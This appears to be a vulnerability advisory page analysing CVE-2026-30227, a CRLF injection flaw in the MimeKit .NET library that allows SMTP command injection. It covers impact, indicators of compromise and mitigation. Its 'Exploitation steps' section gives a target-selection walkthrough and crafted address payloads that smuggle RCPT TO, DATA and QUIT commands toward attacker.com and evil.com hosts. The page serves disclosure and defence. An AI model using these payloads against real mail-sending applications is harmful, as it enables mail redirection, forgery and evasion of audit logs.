CVE-2026-30227: 
C# vulnerability analysis and mitigation

Overview

CVE-2026-30227 is a CRLF injection vulnerability in MimeKit (NuGet) that enables SMTP command injection and email forgery. The flaw allows an attacker to embed \r\n sequences into the SMTP envelope address local-part when it is a quoted-string, violating RFC 5321 grammar rules. All MimeKit versions up to and including 4.15.0 are affected; the issue is fixed in version 4.15.1. It was disclosed on March 5, 2026, by researcher KC1zs4 via the GitHub Advisory Database. The CVSS v3.1 base score is 5.3 (Medium) and the CVSS v4.0 base score is 6.9 (Medium) (GitHub Advisory, MimeKit Advisory).

Technical details

The root cause is improper neutralization of CRLF sequences (CWE-93) in MimeKit's quoted local-part parser. RFC 5321 explicitly prohibits CR (0x0D) and LF (0x0A) characters within qtextSMTP and quoted-pairSMTP ranges, but MimeKit 4.15.0's MailboxAddress parser does not reject these control characters when processing double-quoted local-parts. As a result, a crafted address such as "attack\r\nRCPT TO:<evil@attacker.com>\r\n"@example.com is accepted as valid and later serialized verbatim into the SMTP command stream. Exploitation requires that the attacker can influence a MailboxAddress value (MAIL FROM or RCPT TO) that is subsequently passed to a MailKit SmtpClient.Send() call — a condition met in any application accepting untrusted sender/recipient input (GitHub Advisory, MimeKit Advisory).

Impact

Successful exploitation allows an attacker to inject arbitrary SMTP commands (e.g., additional RCPT TO, DATA, RSET, QUIT) into an ongoing SMTP session, enabling unauthorized mail redirection and potential data exfiltration. Depending on server-side behavior, an attacker may also corrupt the SMTP transaction state or attempt early DATA injection to deliver forged message content. In some application architectures, the envelope manipulation can pivot into mail header injection. Additionally, injected command boundaries can alter SMTP transcripts, evading logging and auditing mechanisms and producing misleading audit trails (GitHub Advisory, MimeKit Advisory).

Exploitability

A proof-of-concept (PoC) C# program demonstrating the CRLF injection via MailboxAddress construction and SMTP session capture is publicly available in the official security advisory (MimeKit Advisory). The vulnerability requires no authentication, no user interaction, and no special privileges — only the ability to supply a malicious address to an application using MimeKit for SMTP. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 4.1%, indicating a moderate near-term exploitation probability (GitHub Advisory).

Exploitation steps

  1. Identify a target application: Find a .NET application using MimeKit/MailKit ≤ 4.15.0 that accepts untrusted input for sender or recipient email addresses (e.g., a contact form, forwarding rule, or webhook-driven mailer).
  2. Craft a malicious address: Construct a payload embedding CRLF sequences in the quoted local-part, such as:
    "attack\r\nRSET\r\nMAIL FROM:<attacker@evil.com>\r\nRCPT TO:<victim2@target.com>\r\nDATA\r\n.\r\nQUIT\r\nhere"@poc.send.com
  3. Submit the payload: Supply this address as the From or To field in the application's email-sending workflow (e.g., via a web form, API call, or import file).
  4. Trigger SMTP transmission: Cause the application to send an email using the malicious MailboxAddress. MimeKit serializes the address verbatim into the SMTP stream without stripping the embedded CRLF.
  5. Observe injected commands: The SMTP server receives the split MAIL FROM line followed by attacker-controlled commands. Depending on server-side pipelining and validation, injected RCPT TO commands may redirect the email to attacker-controlled addresses, and injected DATA commands may deliver forged content.
  6. Confirm via logging: Use MailKit's ProtocolLogger or a network capture tool (e.g., tcpdump) to verify the injected SMTP command sequence in the raw session transcript (MimeKit Advisory).

Indicators of compromise

  • Network: Outbound SMTP traffic (port 25/587) from application servers containing raw \r\n sequences mid-argument in MAIL FROM or RCPT TO commands; unexpected RCPT TO commands to addresses not present in the application's intended recipient list; anomalous SMTP command sequences (e.g., RSET, DATA, QUIT appearing out of order within a single transaction.
  • Logs: SMTP server logs showing multiple RCPT TO entries for a single message where only one recipient was expected; 553 Invalid mail address errors followed immediately by successful 250 Sender accepted responses in the same session; unexpected QUIT and reconnect patterns in SMTP session logs.
  • Application Logs: Entries where the From or To address field contains embedded newline characters (%0d%0a, \r\n, or raw CR/LF bytes); MailKit ProtocolLogger output showing split MAIL FROM lines (MimeKit Advisory).

Mitigation and workarounds

Upgrade MimeKit to version 4.15.1 or later, which rejects \r and \n characters in the quoted local-part of mailbox addresses in compliance with RFC 5321 (GitHub Advisory, MimeKit Advisory). As a defense-in-depth measure prior to patching, implement application-level input validation to reject any email address input containing CR (\r) or LF (\n) characters before passing it to MailboxAddress. Additionally, review all code paths where externally supplied data (user input, webhook payloads, imported contacts, forwarding rules) is used to construct MailboxAddress objects for SMTP transmission.

Community reactions

The vulnerability was reported by researcher KC1zs4 and published directly by the MimeKit maintainer (jstedfast) via GitHub's security advisory process on March 5, 2026 (MimeKit Advisory). A technical write-up was published by Infinit Security covering the CRLF injection mechanics in detail (Infinit Security). Red Hat also tracked the vulnerability for potential impact on their ecosystem (Red Hat). No significant broader media coverage or notable social media controversy has been observed beyond standard CVE tracking and security feed aggregation.

Additional resources


Source: This report was generated using AI

Related C# vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-106118HIGH7.5
  • C# logoC#
  • ImageSharp
NoYesOct 06, 2026
CVE-2026-106117HIGH7.5
  • C# logoC#
  • ImageSharp
NoYesOct 06, 2026
CVE-2026-106115HIGH7.5
  • C# logoC#
  • SixLabors.ImageSharp
NoYesOct 06, 2026
CVE-2026-106116MEDIUM5.3
  • C# logoC#
  • SixLabors.ImageSharp
NoYesOct 06, 2026
CVE-2026-106114MEDIUM5.3
  • C# logoC#
  • SixLabors.ImageSharp
NoYesOct 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management